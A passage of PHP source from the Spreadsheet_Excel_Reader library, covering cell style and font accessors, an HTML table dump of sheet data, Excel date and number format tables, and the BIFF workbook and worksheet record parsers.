		$bTop = $this->borderTop($row,$col,$sheet);
		$bBottom = $this->borderBottom($row,$col,$sheet);
		$bLeftCol = $this->borderLeftColor($row,$col,$sheet);
		$bRightCol = $this->borderRightColor($row,$col,$sheet);
		$bTopCol = $this->borderTopColor($row,$col,$sheet);
		$bBottomCol = $this->borderBottomColor($row,$col,$sheet);
		// Try to output the minimal required style
		if ($bLeft!="" && $bLeft==$bRight && $bRight==$bTop && $bTop==$bBottom) {
			$css .= "border:" . $this->lineStylesCss[$bLeft] .";";
		}
		else {
			if ($bLeft!="") { $css .= "border-left:" . $this->lineStylesCss[$bLeft] .";"; }
			if ($bRight!="") { $css .= "border-right:" . $this->lineStylesCss[$bRight] .";"; }
			if ($bTop!="") { $css .= "border-top:" . $this->lineStylesCss[$bTop] .";"; }
			if ($bBottom!="") { $css .= "border-bottom:" . $this->lineStylesCss[$bBottom] .";"; }
		}
		// Only output border colors if there is an actual border specified
		if ($bLeft!="" && $bLeftCol!="") { $css .= "border-left-color:" . $bLeftCol .";"; }
		if ($bRight!="" && $bRightCol!="") { $css .= "border-right-color:" . $bRightCol .";"; }
		if ($bTop!="" && $bTopCol!="") { $css .= "border-top-color:" . $bTopCol . ";"; }
		if ($bBottom!="" && $bBottomCol!="") { $css .= "border-bottom-color:" . $bBottomCol .";"; }
		
		return $css;
	}
	
	// FORMAT PROPERTIES
	// =================
	function format($row,$col,$sheet=0) {
		return $this->info($row,$col,'format',$sheet);
	}
	function formatIndex($row,$col,$sheet=0) {
		return $this->info($row,$col,'formatIndex',$sheet);
	}
	function formatColor($row,$col,$sheet=0) {
		return $this->info($row,$col,'formatColor',$sheet);
	}
	
	// CELL (XF) PROPERTIES
	// ====================
	function xfRecord($row,$col,$sheet=0) {
		$xfIndex = $this->info($row,$col,'xfIndex',$sheet);
		if ($xfIndex!="") {
			return $this->xfRecords[$xfIndex];
		}
		return null;
	}
	function xfProperty($row,$col,$sheet,$prop) {
		$xfRecord = $this->xfRecord($row,$col,$sheet);
		if ($xfRecord!=null) {
			return $xfRecord[$prop];
		}
		return "";
	}
	function align($row,$col,$sheet=0) {
		return $this->xfProperty($row,$col,$sheet,'align');
	}
	function bgColor($row,$col,$sheet=0) {
		return $this->xfProperty($row,$col,$sheet,'bgColor');
	}
	function borderLeft($row,$col,$sheet=0) {
		return $this->xfProperty($row,$col,$sheet,'borderLeft');
	}
	function borderRight($row,$col,$sheet=0) {
		return $this->xfProperty($row,$col,$sheet,'borderRight');
	}
	function borderTop($row,$col,$sheet=0) {
		return $this->xfProperty($row,$col,$sheet,'borderTop');
	}
	function borderBottom($row,$col,$sheet=0) {
		return $this->xfProperty($row,$col,$sheet,'borderBottom');
	}
	function borderLeftColor($row,$col,$sheet=0) {
		return $this->colors[$this->xfProperty($row,$col,$sheet,'borderLeftColor')];
	}
	function borderRightColor($row,$col,$sheet=0) {
		return $this->colors[$this->xfProperty($row,$col,$sheet,'borderRightColor')];
	}
	function borderTopColor($row,$col,$sheet=0) {
		return $this->colors[$this->xfProperty($row,$col,$sheet,'borderTopColor')];
	}
	function borderBottomColor($row,$col,$sheet=0) {
		return $this->colors[$this->xfProperty($row,$col,$sheet,'borderBottomColor')];
	}

	// FONT PROPERTIES
	// ===============
	function fontRecord($row,$col,$sheet=0) {
	    $xfRecord = $this->xfRecord($row,$col,$sheet);
		if ($xfRecord!=null) {
			$font = $xfRecord['fontIndex'];
			if ($font!=null) {
				return $this->fontRecords[$font];
			}
		}
		return null;
	}
	function fontProperty($row,$col,$sheet=0,$prop) {
		$font = $this->fontRecord($row,$col,$sheet);
		if ($font!=null) {
			return $font[$prop];
		}
		return false;
	}
	function fontIndex($row,$col,$sheet=0) {
		return $this->xfProperty($row,$col,$sheet,'fontIndex');
	}
	function color($row,$col,$sheet=0) {
		$formatColor = $this->formatColor($row,$col,$sheet);
		if ($formatColor!="") {
			return $formatColor;
		}
		$ci = $this->fontProperty($row,$col,$sheet,'color');
                return $this->rawColor($ci);
        }
        function rawColor($ci) {
		if (($ci <> 0x7FFF) && ($ci <> '')) {
			return $this->colors[$ci];
		}
		return "";
	}
	function bold($row,$col,$sheet=0) {
		return $this->fontProperty($row,$col,$sheet,'bold');
	}
	function italic($row,$col,$sheet=0) {
		return $this->fontProperty($row,$col,$sheet,'italic');
	}
	function underline($row,$col,$sheet=0) {
		return $this->fontProperty($row,$col,$sheet,'under');
	}
	function height($row,$col,$sheet=0) {
		return $this->fontProperty($row,$col,$sheet,'height');
	}
	function font($row,$col,$sheet=0) {
		return $this->fontProperty($row,$col,$sheet,'font');
	}
	
	// DUMP AN HTML TABLE OF THE ENTIRE XLS DATA
	// =========================================
	function dump($row_numbers=false,$col_letters=false,$sheet=0,$table_class='excel') {
		$out = "<table class=\"$table_class\" cellspacing=0>";
		if ($col_letters) {
			$out .= "<thead>\n\t<tr>";
			if ($row_numbers) {
				$out .= "\n\t\t<th>&nbsp</th>";
			}
			for($i=1;$i<=$this->colcount($sheet);$i++) {
				$style = "width:" . ($this->colwidth($i,$sheet)*1) . "px;";
				if ($this->colhidden($i,$sheet)) {
					$style .= "display:none;";
				}
				$out .= "\n\t\t<th style=\"$style\">" . strtoupper($this->colindexes[$i]) . "</th>";
			}
			$out .= "</tr></thead>\n";
		}
		
		$out .= "<tbody>\n";
		for($row=1;$row<=$this->rowcount($sheet);$row++) {
			$rowheight = $this->rowheight($row,$sheet);
			$style = "height:" . ($rowheight*(4/3)) . "px;";
			if ($this->rowhidden($row,$sheet)) {
				$style .= "display:none;";
			}
			$out .= "\n\t<tr style=\"$style\">";
			if ($row_numbers) {
				$out .= "\n\t\t<th>$row</th>";
			}
			for($col=1;$col<=$this->colcount($sheet);$col++) {
				// Account for Rowspans/Colspans
				$rowspan = $this->rowspan($row,$col,$sheet);
				$colspan = $this->colspan($row,$col,$sheet);
				for($i=0;$i<$rowspan;$i++) {
					for($j=0;$j<$colspan;$j++) {
						if ($i>0 || $j>0) {
							$this->sheets[$sheet]['cellsInfo'][$row+$i][$col+$j]['dontprint']=1;
						}
					}
				}
				if(!$this->sheets[$sheet]['cellsInfo'][$row][$col]['dontprint']) {
					$style = $this->style($row,$col,$sheet);
					if ($this->colhidden($col,$sheet)) {
						$style .= "display:none;";
					}
					$out .= "\n\t\t<td style=\"$style\"" . ($colspan > 1?" colspan=$colspan":"") . ($rowspan > 1?" rowspan=$rowspan":"") . ">";
					$val = $this->val($row,$col,$sheet);
					if ($val=='') { $val="&nbsp;"; }
					else { 
						$val = htmlentities($val); 
						$link = $this->hyperlink($row,$col,$sheet);
						if ($link!='') {
							$val = "<a href=\"$link\">$val</a>";
						}
					}
					$out .= "<nobr>".nl2br($val)."</nobr>";
					$out .= "</td>";
				}
			}
			$out .= "</tr>\n";
		}
		$out .= "</tbody></table>";
		return $out;
	}
	
	// --------------
	// END PUBLIC API


	var $boundsheets = array();
	var $formatRecords = array();
	var $fontRecords = array();
	var $xfRecords = array();
	var $colInfo = array();
   	var $rowInfo = array();
	
	var $sst = array();
	var $sheets = array();

	var $data;
	var $_ole;
	var $_defaultEncoding = "UTF-8";
	var $_defaultFormat = SPREADSHEET_EXCEL_READER_DEF_NUM_FORMAT;
	var $_columnsFormat = array();
	var $_rowoffset = 1;
	var $_coloffset = 1;

	/**
	* List of default date formats used by Excel
	 */
	var $dateFormats = array (
		0xe => "m/d/Y",
		0xf => "M-d-Y",
		0x10 => "d-M",
		0x11 => "M-Y",
		0x12 => "h:i a",
		0x13 => "h:i:s a",
		0x14 => "H:i",
		0x15 => "H:i:s",
		0x16 => "d/m/Y H:i",
		0x2d => "i:s",
		0x2e => "H:i:s",
		0x2f => "i:s.S"
	);

	/**
	* Default number formats used by Excel
	 */
	var $numberFormats = array(
		0x1 => "0",
		0x2 => "0.00",
		0x3 => "#,##0",
		0x4 => "#,##0.00",
		0x5 => "\$#,##0;(\$#,##0)",
		0x6 => "\$#,##0;[Red](\$#,##0)",
		0x7 => "\$#,##0.00;(\$#,##0.00)",
		0x8 => "\$#,##0.00;[Red](\$#,##0.00)",
		0x9 => "0%",
		0xa => "0.00%",
		0xb => "0.00E+00",
		0x25 => "#,##0;(#,##0)",
		0x26 => "#,##0;[Red](#,##0)",
		0x27 => "#,##0.00;(#,##0.00)",
		0x28 => "#,##0.00;[Red](#,##0.00)",
		0x29 => "#,##0;(#,##0)",  // Not exactly
		0x2a => "\$#,##0;(\$#,##0)",  // Not exactly
		0x2b => "#,##0.00;(#,##0.00)",  // Not exactly
		0x2c => "\$#,##0.00;(\$#,##0.00)",  // Not exactly
		0x30 => "##0.0E+0"
	);

    var $colors = Array(
        0x00 => "#000000",
        0x01 => "#FFFFFF",
        0x02 => "#FF0000",
        0x03 => "#00FF00",
        0x04 => "#0000FF",
        0x05 => "#FFFF00",
        0x06 => "#FF00FF",
        0x07 => "#00FFFF",
        0x08 => "#000000",
        0x09 => "#FFFFFF",
        0x0A => "#FF0000",
        0x0B => "#00FF00",
        0x0C => "#0000FF",
        0x0D => "#FFFF00",
        0x0E => "#FF00FF",
        0x0F => "#00FFFF",
        0x10 => "#800000",
        0x11 => "#008000",
        0x12 => "#000080",
        0x13 => "#808000",
        0x14 => "#800080",
        0x15 => "#008080",
        0x16 => "#C0C0C0",
        0x17 => "#808080",
        0x18 => "#9999FF",
        0x19 => "#993366",
        0x1A => "#FFFFCC",
        0x1B => "#CCFFFF",
        0x1C => "#660066",
        0x1D => "#FF8080",
        0x1E => "#0066CC",
        0x1F => "#CCCCFF",
        0x20 => "#000080",
        0x21 => "#FF00FF",
        0x22 => "#FFFF00",
        0x23 => "#00FFFF",
        0x24 => "#800080",
        0x25 => "#800000",
        0x26 => "#008080",
        0x27 => "#0000FF",
        0x28 => "#00CCFF",
        0x29 => "#CCFFFF",
        0x2A => "#CCFFCC",
        0x2B => "#FFFF99",
        0x2C => "#99CCFF",
        0x2D => "#FF99CC",
        0x2E => "#CC99FF",
        0x2F => "#FFCC99",
        0x30 => "#3366FF",
        0x31 => "#33CCCC",
        0x32 => "#99CC00",
        0x33 => "#FFCC00",
        0x34 => "#FF9900",
        0x35 => "#FF6600",
        0x36 => "#666699",
        0x37 => "#969696",
        0x38 => "#003366",
        0x39 => "#339966",
        0x3A => "#003300",
        0x3B => "#333300",
        0x3C => "#993300",
        0x3D => "#993366",
        0x3E => "#333399",
        0x3F => "#333333",
        0x40 => "#000000",
        0x41 => "#FFFFFF",

        0x43 => "#000000",
        0x4D => "#000000",
        0x4E => "#FFFFFF",
        0x4F => "#000000",
        0x50 => "#FFFFFF",
        0x51 => "#000000",

        0x7FFF => "#000000"
    );

	var $lineStyles = array(
		0x00 => "",
		0x01 => "Thin",
		0x02 => "Medium",
		0x03 => "Dashed",
		0x04 => "Dotted",
		0x05 => "Thick",
		0x06 => "Double",
		0x07 => "Hair",
		0x08 => "Medium dashed",
		0x09 => "Thin dash-dotted",
		0x0A => "Medium dash-dotted",
		0x0B => "Thin dash-dot-dotted",
		0x0C => "Medium dash-dot-dotted",
		0x0D => "Slanted medium dash-dotted"
	);	

	var $lineStylesCss = array(
		"Thin" => "1px solid", 
		"Medium" => "2px solid", 
		"Dashed" => "1px dashed", 
		"Dotted" => "1px dotted", 
		"Thick" => "3px solid", 
		"Double" => "double", 
		"Hair" => "1px solid", 
		"Medium dashed" => "2px dashed", 
		"Thin dash-dotted" => "1px dashed", 
		"Medium dash-dotted" => "2px dashed", 
		"Thin dash-dot-dotted" => "1px dashed", 
		"Medium dash-dot-dotted" => "2px dashed", 
		"Slanted medium dash-dotte" => "2px dashed" 
	);
	
	function read16bitstring($data, $start) {
		$len = 0;
		while (ord($data[$start + $len]) + ord($data[$start + $len + 1]) > 0) $len++;
		return substr($data, $start, $len);
	}
	
	// ADDED by Matt Kruse for better formatting
	function _format_value($format,$num,$f) {
		// 49==TEXT format
		// http://code.google.com/p/php-excel-reader/issues/detail?id=7
		if ( (!$f && $format=="%s") || ($f==49) || ($format=="GENERAL") ) { 
			return array('string'=>$num, 'formatColor'=>null); 
		}
		
		// Custom pattern can be POSITIVE;NEGATIVE;ZERO
		// The "text" option as 4th parameter is not handled
		$parts = explode(";",$format);
		$pattern = $parts[0];
		// Negative pattern
		if (count($parts)>2 && $num==0) {
			$pattern = $parts[2];
		}
		// Zero pattern
		if (count($parts)>1 && $num<0) {
			$pattern = $parts[1];
			$num = abs($num);
		}
		
		$color = "";
		$matches = array();
		$color_regex = "/^\[(BLACK|BLUE|CYAN|GREEN|MAGENTA|RED|WHITE|YELLOW)\]/i";
		if (preg_match($color_regex,$pattern,$matches)) {
			$color = strtolower($matches[1]);
			$pattern = preg_replace($color_regex,"",$pattern);
		}
		
		// In Excel formats, "_" is used to add spacing, which we can't do in HTML
		$pattern = preg_replace("/_./","",$pattern);
		
		// Some non-number characters are escaped with \, which we don't need
		$pattern = preg_replace("/\\\/","",$pattern);
		
		// Some non-number strings are quoted, so we'll get rid of the quotes
		$pattern = preg_replace("/\"/","",$pattern);

		// TEMPORARY - Convert # to 0
		$pattern = preg_replace("/\#/","0",$pattern);

		// Find out if we need comma formatting
		$has_commas = preg_match("/,/",$pattern);
		if ($has_commas) {
			$pattern = preg_replace("/,/","",$pattern);
		}

		// Handle Percentages
		if (preg_match("/\d(\%)([^\%]|$)/",$pattern,$matches)) {
			$num = $num* 100;
			$pattern = preg_replace("/(\d)(\%)([^\%]|$)/","$1%$3",$pattern);
		}

		// Handle the number itself
		$number_regex = "/(\d+)(\.?)(\d*)/";
		if (preg_match($number_regex,$pattern,$matches)) {
			$left = $matches[1];
			$dec = $matches[2];
			$right = $matches[3];
			if ($has_commas) {
				$formatted = number_format($num,strlen($right));
			}
			else {
				$sprintf_pattern = "%1.".strlen($right)."f";
				$formatted = sprintf($sprintf_pattern, $num);
			}
			$pattern = preg_replace($number_regex, $formatted, $pattern);
		}

		return array(
			'string'=>$pattern,
			'formatColor'=>$color
		);
	}

	/**
	* Constructor
	*
	* Some basic initialisation
	 */
	function Spreadsheet_Excel_Reader($file='',$store_extended_info=true,$outputEncoding='') {
		$this->_ole = new OLERead();
		$this->setUTFEncoder('iconv');
		if ($outputEncoding != '') { 
			$this->setOutputEncoding($outputEncoding);
		}
		for ($i=1; $i<245; $i++) {
			$name = strtolower(( (($i-1)/26>=1)?chr(($i-1)/26+64):'') . chr(($i-1)%26+65));
			$this->colnames[$name] = $i;
			$this->colindexes[$i] = $name;
		}
		$this->store_extended_info = $store_extended_info;
		if ($file!="") {
			$this->read($file);
		}
	}

	/**
	* Set the encoding method
	 */
	function setOutputEncoding($encoding) {
		$this->_defaultEncoding = $encoding;
	}

	/**
	*  $encoder = 'iconv' or 'mb'
	*  set iconv if you would like use 'iconv' for encode UTF-16LE to your encoding
	*  set mb if you would like use 'mb_convert_encoding' for encode UTF-16LE to your encoding
	 */
	function setUTFEncoder($encoder = 'iconv') {
		$this->_encoderFunction = '';
		if ($encoder == 'iconv') {
			$this->_encoderFunction = function_exists('iconv') ? 'iconv' : '';
		} elseif ($encoder == 'mb') {
			$this->_encoderFunction = function_exists('mb_convert_encoding') ? 'mb_convert_encoding' : '';
		}
	}

	function setRowColOffset($iOffset) {
		$this->_rowoffset = $iOffset;
		$this->_coloffset = $iOffset;
	}

	/**
	* Set the default number format
	 */
	function setDefaultFormat($sFormat) {
		$this->_defaultFormat = $sFormat;
	}

	/**
	* Force a column to use a certain format
	 */
	function setColumnFormat($column, $sFormat) {
		$this->_columnsFormat[$column] = $sFormat;
	}

	/**
	* Read the spreadsheet file using OLE, then parse
	 */
	function read($sFileName) {
		$res = $this->_ole->read($sFileName);

		// oops, something goes wrong (Darko Miljanovic)
		if($res === false) {
			// check error code
			if($this->_ole->error == 1) {
				// bad file
				die('The filename ' . $sFileName . ' is not readable');
			}
			// check other error codes here (eg bad fileformat, etc...)
		}
		$this->data = $this->_ole->getWorkBook();
		$this->_parse();
	}

	/**
	* Parse a workbook
	*
	* @access private
	* @return bool
	 */
	function _parse() {
		$pos = 0;
		$data = $this->data;

		$code = v($data,$pos);
		$length = v($data,$pos+2);
		$version = v($data,$pos+4);
		$substreamType = v($data,$pos+6);

		$this->version = $version;

		if (($version != SPREADSHEET_EXCEL_READER_BIFF8) &&
			($version != SPREADSHEET_EXCEL_READER_BIFF7)) {
			return false;
		}

		if ($substreamType != SPREADSHEET_EXCEL_READER_WORKBOOKGLOBALS){
			return false;
		}

		$pos += $length + 4;

		$code = v($data,$pos);
		$length = v($data,$pos+2);

		while ($code != SPREADSHEET_EXCEL_READER_TYPE_EOF) {
			switch ($code) {
				case SPREADSHEET_EXCEL_READER_TYPE_SST:
					$spos = $pos + 4;
					$limitpos = $spos + $length;
					$uniqueStrings = $this->_GetInt4d($data, $spos+4);
					$spos += 8;
					for ($i = 0; $i < $uniqueStrings; $i++) {
						// Read in the number of characters
						if ($spos == $limitpos) {
							$opcode = v($data,$spos);
							$conlength = v($data,$spos+2);
							if ($opcode != 0x3c) {
								return -1;
							}
							$spos += 4;
							$limitpos = $spos + $conlength;
						}
						$numChars = ord($data[$spos]) | (ord($data[$spos+1]) << 8);
						$spos += 2;
						$optionFlags = ord($data[$spos]);
						$spos++;
						$asciiEncoding = (($optionFlags & 0x01) == 0) ;
						$extendedString = ( ($optionFlags & 0x04) != 0);

						// See if string contains formatting information
						$richString = ( ($optionFlags & 0x08) != 0);

						if ($richString) {
							// Read in the crun
							$formattingRuns = v($data,$spos);
							$spos += 2;
						}

						if ($extendedString) {
							// Read in cchExtRst
							$extendedRunLength = $this->_GetInt4d($data, $spos);
							$spos += 4;
						}

						$len = ($asciiEncoding)? $numChars : $numChars*2;
						if ($spos + $len < $limitpos) {
							$retstr = substr($data, $spos, $len);
							$spos += $len;
						}
						else{
							// found countinue
							$retstr = substr($data, $spos, $limitpos - $spos);
							$bytesRead = $limitpos - $spos;
							$charsLeft = $numChars - (($asciiEncoding) ? $bytesRead : ($bytesRead / 2));
							$spos = $limitpos;

							while ($charsLeft > 0){
								$opcode = v($data,$spos);
								$conlength = v($data,$spos+2);
								if ($opcode != 0x3c) {
									return -1;
								}
								$spos += 4;
								$limitpos = $spos + $conlength;
								$option = ord($data[$spos]);
								$spos += 1;
								if ($asciiEncoding && ($option == 0)) {
									$len = min($charsLeft, $limitpos - $spos); // min($charsLeft, $conlength);
									$retstr .= substr($data, $spos, $len);
									$charsLeft -= $len;
									$asciiEncoding = true;
								}
								elseif (!$asciiEncoding && ($option != 0)) {
									$len = min($charsLeft* 2, $limitpos - $spos); // min($charsLeft, $conlength);
									$retstr .= substr($data, $spos, $len);
									$charsLeft -= $len/2;
									$asciiEncoding = false;
								}
								elseif (!$asciiEncoding && ($option == 0)) {
									// Bummer - the string starts off as Unicode, but after the
									// continuation it is in straightforward ASCII encoding
									$len = min($charsLeft, $limitpos - $spos); // min($charsLeft, $conlength);
									for ($j = 0; $j < $len; $j++) {
										$retstr .= $data[$spos + $j].chr(0);
									}
									$charsLeft -= $len;
									$asciiEncoding = false;
								}
								else{
									$newstr = '';
									for ($j = 0; $j < strlen($retstr); $j++) {
										$newstr = $retstr[$j].chr(0);
									}
									$retstr = $newstr;
									$len = min($charsLeft* 2, $limitpos - $spos); // min($charsLeft, $conlength);
									$retstr .= substr($data, $spos, $len);
									$charsLeft -= $len/2;
									$asciiEncoding = false;
								}
								$spos += $len;
							}
						}
						//$retstr = ($asciiEncoding) ? $retstr : $this->_encodeUTF16($retstr);
						$retstr = ($asciiEncoding) ? iconv('iso-8859-1', $this->_defaultEncoding, $retstr) : $this->_encodeUTF16($retstr);
						
						if ($richString){
							$spos += 4* $formattingRuns;
						}

						// For extended strings, skip over the extended string data
						if ($extendedString) {
							$spos += $extendedRunLength;
						}
						$this->sst[]=$retstr;
					}
					break;
				case SPREADSHEET_EXCEL_READER_TYPE_FILEPASS:
					return false;
					break;
				case SPREADSHEET_EXCEL_READER_TYPE_NAME:
					break;
				case SPREADSHEET_EXCEL_READER_TYPE_FORMAT:
					$indexCode = v($data,$pos+4);
					if ($version == SPREADSHEET_EXCEL_READER_BIFF8) {
						$numchars = v($data,$pos+6);
						if (ord($data[$pos+8]) == 0){
							$formatString = substr($data, $pos+9, $numchars);
						} else {
							$formatString = substr($data, $pos+9, $numchars*2);
						}
					} else {
						$numchars = ord($data[$pos+6]);
						$formatString = substr($data, $pos+7, $numchars*2);
					}
					$this->formatRecords[$indexCode] = $formatString;
					break;
				case SPREADSHEET_EXCEL_READER_TYPE_FONT:
						$height = v($data,$pos+4);
						$option = v($data,$pos+6);
						$color = v($data,$pos+8);
						$weight = v($data,$pos+10);
						$under  = ord($data[$pos+14]);
						$font = "";
						// Font name
						$numchars = ord($data[$pos+18]);
						if ((ord($data[$pos+19]) & 1) == 0){
						    $font = substr($data, $pos+20, $numchars);
						} else {
						    $font = substr($data, $pos+20, $numchars*2);
						    $font =  $this->_encodeUTF16($font); 
						}
						$this->fontRecords[] = array(
								'height' => $height / 20,
								'italic' => !!($option & 2),
								'color' => $color,
								'under' => !($under==0),
								'bold' => ($weight==700),
								'font' => $font,
								'raw' => $this->dumpHexData($data, $pos+3, $length)
								);
					    break;

				case SPREADSHEET_EXCEL_READER_TYPE_PALETTE:
						$colors = ord($data[$pos+4]) | ord($data[$pos+5]) << 8;
						for ($coli = 0; $coli < $colors; $coli++) {
						    $colOff = $pos + 2 + ($coli* 4);
  						    $colr = ord($data[$colOff]);
  						    $colg = ord($data[$colOff+1]);
  						    $colb = ord($data[$colOff+2]);
							$this->colors[0x07 + $coli] = '#' . $this->myhex($colr) . $this->myhex($colg) . $this->myhex($colb);
						}
					    break;

				case SPREADSHEET_EXCEL_READER_TYPE_XF:
						$fontIndexCode = (ord($data[$pos+4]) | ord($data[$pos+5]) << 8) - 1;
						$fontIndexCode = max(0,$fontIndexCode);
						$indexCode = ord($data[$pos+6]) | ord($data[$pos+7]) << 8;
						$alignbit = ord($data[$pos+10]) & 3;
						$bgi = (ord($data[$pos+22]) | ord($data[$pos+23]) << 8) & 0x3FFF;
						$bgcolor = ($bgi & 0x7F);
//						$bgcolor = ($bgi & 0x3f80) >> 7;
						$align = "";
						if ($alignbit==3) { $align="right"; }
						if ($alignbit==2) { $align="center"; }

						$fillPattern = (ord($data[$pos+21]) & 0xFC) >> 2;
						if ($fillPattern == 0) {
							$bgcolor = "";
						}

						$xf = array();
						$xf['formatIndex'] = $indexCode;
						$xf['align'] = $align;
						$xf['fontIndex'] = $fontIndexCode;
						$xf['bgColor'] = $bgcolor;
						$xf['fillPattern'] = $fillPattern;

						$border = ord($data[$pos+14]) | (ord($data[$pos+15]) << 8) | (ord($data[$pos+16]) << 16) | (ord($data[$pos+17]) << 24);
						$xf['borderLeft'] = $this->lineStyles[($border & 0xF)];
						$xf['borderRight'] = $this->lineStyles[($border & 0xF0) >> 4];
						$xf['borderTop'] = $this->lineStyles[($border & 0xF00) >> 8];
						$xf['borderBottom'] = $this->lineStyles[($border & 0xF000) >> 12];
						
						$xf['borderLeftColor'] = ($border & 0x7F0000) >> 16;
						$xf['borderRightColor'] = ($border & 0x3F800000) >> 23;
						$border = (ord($data[$pos+18]) | ord($data[$pos+19]) << 8);

						$xf['borderTopColor'] = ($border & 0x7F);
						$xf['borderBottomColor'] = ($border & 0x3F80) >> 7;
												
						if (array_key_exists($indexCode, $this->dateFormats)) {
							$xf['type'] = 'date';
							$xf['format'] = $this->dateFormats[$indexCode];
							if ($align=='') { $xf['align'] = 'right'; }
						}elseif (array_key_exists($indexCode, $this->numberFormats)) {
							$xf['type'] = 'number';
							$xf['format'] = $this->numberFormats[$indexCode];
							if ($align=='') { $xf['align'] = 'right'; }
						}else{
							$isdate = FALSE;
							$formatstr = '';
							if ($indexCode > 0){
								if (isset($this->formatRecords[$indexCode]))
									$formatstr = $this->formatRecords[$indexCode];
								if ($formatstr!="") {
									$tmp = preg_replace("/\;.*/","",$formatstr);
									$tmp = preg_replace("/^\[[^\]]*\]/","",$tmp);
									if (preg_match("/[^hmsday\/\-:\s\\\,AMP]/i", $tmp) == 0) { // found day and time format
										$isdate = TRUE;
										$formatstr = $tmp;
										$formatstr = str_replace(array('AM/PM','mmmm','mmm'), array('a','F','M'), $formatstr);
										// m/mm are used for both minutes and months - oh SNAP!
										// This mess tries to fix for that.
										// 'm' == minutes only if following h/hh or preceding s/ss
										$formatstr = preg_replace("/(h:?)mm?/","$1i", $formatstr);
										$formatstr = preg_replace("/mm?(:?s)/","i$1", $formatstr);
										// A single 'm' = n in PHP
										$formatstr = preg_replace("/(^|[^m])m([^m]|$)/", '$1n$2', $formatstr);
										$formatstr = preg_replace("/(^|[^m])m([^m]|$)/", '$1n$2', $formatstr);
										// else it's months
										$formatstr = str_replace('mm', 'm', $formatstr);
										// Convert single 'd' to 'j'
										$formatstr = preg_replace("/(^|[^d])d([^d]|$)/", '$1j$2', $formatstr);
										$formatstr = str_replace(array('dddd','ddd','dd','yyyy','yy','hh','h'), array('l','D','d','Y','y','H','g'), $formatstr);
										$formatstr = preg_replace("/ss?/", 's', $formatstr);
									}
								}
							}
							if ($isdate){
								$xf['type'] = 'date';
								$xf['format'] = $formatstr;
								if ($align=='') { $xf['align'] = 'right'; }
							}else{
								// If the format string has a 0 or # in it, we'll assume it's a number
								if (preg_match("/[0#]/", $formatstr)) {
									$xf['type'] = 'number';
									if ($align=='') { $xf['align']='right'; }
								}
								else {
								$xf['type'] = 'other';
								}
								$xf['format'] = $formatstr;
								$xf['code'] = $indexCode;
							}
						}
						$this->xfRecords[] = $xf;
					break;
				case SPREADSHEET_EXCEL_READER_TYPE_NINETEENFOUR:
					$this->nineteenFour = (ord($data[$pos+4]) == 1);
					break;
				case SPREADSHEET_EXCEL_READER_TYPE_BOUNDSHEET:
						$rec_offset = $this->_GetInt4d($data, $pos+4);
						$rec_typeFlag = ord($data[$pos+8]);
						$rec_visibilityFlag = ord($data[$pos+9]);
						$rec_length = ord($data[$pos+10]);

						if ($version == SPREADSHEET_EXCEL_READER_BIFF8){
							$chartype =  ord($data[$pos+11]);
							if ($chartype == 0){
								$rec_name	= substr($data, $pos+12, $rec_length);
							} else {
								$rec_name	= $this->_encodeUTF16(substr($data, $pos+12, $rec_length*2));
							}
						}elseif ($version == SPREADSHEET_EXCEL_READER_BIFF7){
								$rec_name	= substr($data, $pos+11, $rec_length);
						}
					$this->boundsheets[] = array('name'=>$rec_name,'offset'=>$rec_offset);
					break;

			}

			$pos += $length + 4;
			$code = ord($data[$pos]) | ord($data[$pos+1])<<8;
			$length = ord($data[$pos+2]) | ord($data[$pos+3])<<8;
		}

		foreach ($this->boundsheets as $key=>$val){
			$this->sn = $key;
			$this->_parsesheet($val['offset']);
		}
		return true;
	}

	/**
	* Parse a worksheet
	 */
	function _parsesheet($spos) {
		$cont = true;
		$data = $this->data;
		// read BOF
		$code = ord($data[$spos]) | ord($data[$spos+1])<<8;
		$length = ord($data[$spos+2]) | ord($data[$spos+3])<<8;

		$version = ord($data[$spos + 4]) | ord($data[$spos + 5])<<8;
		$substreamType = ord($data[$spos + 6]) | ord($data[$spos + 7])<<8;

		if (($version != SPREADSHEET_EXCEL_READER_BIFF8) && ($version != SPREADSHEET_EXCEL_READER_BIFF7)) {
			return -1;
		}

		if ($substreamType != SPREADSHEET_EXCEL_READER_WORKSHEET){
			return -2;
		}
		$spos += $length + 4;
		while($cont) {
			$lowcode = ord($data[$spos]);
			if ($lowcode == SPREADSHEET_EXCEL_READER_TYPE_EOF) break;
			$code = $lowcode | ord($data[$spos+1])<<8;
			$length = ord($data[$spos+2]) | ord($data[$spos+3])<<8;
			$spos += 4;
			$this->sheets[$this->sn]['maxrow'] = $this->_rowoffset - 1;
			$this->sheets[$this->sn]['maxcol'] = $this->_coloffset - 1;
			unset($this->rectype);
			switch ($code) {
				case SPREADSHEET_EXCEL_READER_TYPE_DIMENSION:
					if (!isset($this->numRows)) {
						if (($length == 10) ||  ($version == SPREADSHEET_EXCEL_READER_BIFF7)){
							$this->sheets[$this->sn]['numRows'] = ord($data[$spos+2]) | ord($data[$spos+3]) << 8;
							$this->sheets[$this->sn]['numCols'] = ord($data[$spos+6]) | ord($data[$spos+7]) << 8;
						} else {
							$this->sheets[$this->sn]['numRows'] = ord($data[$spos+4]) | ord($data[$spos+5]) << 8;
							$this->sheets[$this->sn]['numCols'] = ord($data[$spos+10]) | ord($data[$spos+11]) << 8;
						}
					}
					break;
				case SPREADSHEET_EXCEL_READER_TYPE_MERGEDCELLS:
					$cellRanges = ord($data[$spos]) | ord($data[$spos+1])<<8;
					for ($i = 0; $i < $cellRanges; $i++) {
						$fr =  ord($data[$spos + 8*$i + 2]) | ord($data[$spos + 8*$i + 3])<<8;
						$lr =  ord($data[$spos + 8*$i + 4]) | ord($data[$spos + 8*$i + 5])<<8;
						$fc =  ord($data[$spos + 8*$i + 6]) | ord($data[$spos + 8*$i + 7])<<8;
						$lc =  ord($data[$spos + 8*$i + 8]) | ord($data[$spos + 8*$i + 9])<<8;
						if ($lr - $fr > 0) {
							$this->sheets[$this->sn]['cellsInfo'][$fr+1][$fc+1]['rowspan'] = $lr - $fr + 1;
						}
						if ($lc - $fc > 0) {
							$this->sheets[$this->sn]['cellsInfo'][$fr+1][$fc+1]['colspan'] = $lc - $fc + 1;
						}
					}
					break;
				case SPREADSHEET_EXCEL_READER_TYPE_RK:
				case SPREADSHEET_EXCEL_READER_TYPE_RK2:
					$row = ord($data[$spos]) | ord($data[$spos+1])<<8;
					$column = ord($data[$spos+2]) | ord($data[$spos+3])<<8;
					$rknum = $this->_GetInt4d($data, $spos + 6);
					$numValue = $this->_GetIEEE754($rknum);
					$info = $this->_getCellDetails($spos,$numValue,$column);
					$this->addcell($row, $column, $info['string'],$info);
					break;
